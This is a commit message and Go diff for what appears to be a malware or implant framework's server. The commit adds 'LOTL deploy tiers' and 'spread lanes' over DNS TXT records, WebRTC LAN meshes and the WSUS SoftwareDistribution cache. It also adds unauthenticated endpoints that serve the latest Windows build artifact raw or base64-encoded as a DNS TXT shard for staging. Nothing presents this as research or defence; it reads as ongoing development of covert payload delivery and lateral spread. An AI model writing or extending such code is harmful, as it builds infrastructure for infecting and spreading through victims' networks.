Add dns_txt, webrtc_mesh, and wsus_cache_peer LOTL deploy tiers with Forge toggles.

Implements three new spread lanes following the do_peer pattern: DNS TXT mesh staging, WebRTC LAN seed manifest delivery, and WSUS SoftwareDistribution cousin handoff. Integrates tiers into onion chain, deploy-plan allowlist, Forge UI/docs, and tests.

server/internal/api/public_handler.go

@@ -1,6 +1,7 @@
 package api
 
 import (
+	"encoding/base64"
 	"net/http"
 	"os"
 	"path/filepath"
@@ -136,6 +137,68 @@ func (h *PublicHandler) Download(w http.ResponseWriter, r *http.Request) {
 	http.ServeFile(w, r, path)
 }
 
+// GET /api/v1/public/dns-txt/{record}
+// Simulates DNS TXT shard responses for tests when real _aether zone is unavailable.
+func (h *PublicHandler) DNSTXTShard(w http.ResponseWriter, r *http.Request) {
+	record := strings.TrimSpace(chi.URLParam(r, "record"))
+	if record == "" {
+		http.Error(w, "record required", http.StatusBadRequest)
+		return
+	}
+	buildID := strings.TrimSpace(r.URL.Query().Get("pin"))
+	if buildID == "" {
+		buildID = strings.TrimSpace(r.URL.Query().Get("build_id"))
+	}
+	platform := strings.TrimSpace(r.URL.Query().Get("os"))
+	if platform == "" {
+		platform = "windows"
+	}
+	build, err := h.resolveLatestBuild(buildID, platform)
+	if err != nil {
+		http.Error(w, "build not found", http.StatusNotFound)
+		return
+	}
+	data, err := os.ReadFile(build.FilePath)
+	if err != nil {
+		http.Error(w, "artifact missing", http.StatusNotFound)
+		return
+	}
+	// Single-shard simulation for tests; multi-shard plans use per-record URLs.
+	w.Header().Set("Content-Type", "text/plain")
+	_, _ = w.Write([]byte(encodeDNSTXTShard(data)))
+}
+
+// GET /api/v1/public/webrtc-mesh/manifest
+// LAN HTTP fallback stub documented in SPREAD_TECHNIQUES — real path uses WebRTC data channel + WS relay.
+func (h *PublicHandler) WebRTCMeshManifest(w http.ResponseWriter, r *http.Request) {
+	buildID := strings.TrimSpace(r.URL.Query().Get("pin"))
+	if buildID == "" {
+		buildID = strings.TrimSpace(r.URL.Query().Get("build_id"))
+	}
+	platform := strings.TrimSpace(r.URL.Query().Get("os"))
+	if platform == "" {
+		platform = "windows"
+	}
+	build, err := h.resolveLatestBuild(buildID, platform)
+	if err != nil {
+		http.Error(w, "build not found", http.StatusNotFound)
+		return
+	}
+	w.Header().Set("Content-Type", "application/octet-stream")
+	http.ServeFile(w, r, build.FilePath)
+}
+
+func (h *PublicHandler) resolveLatestBuild(buildID, platform string) (*models.BuildRecord, error) {
+	if buildID != "" {
+		return h.db.GetBuild(buildID)
+	}
+	return h.db.GetLatestBuildForPlatform(platform)
+}
+
+func encodeDNSTXTShard(data []byte) string {
+	return base64.StdEncoding.EncodeToString(data)
+}
+
 func clientIP(r *http.Request) string {
 	ip := r.Header.Get("X-Forwarded-For")
 	if ip == "" {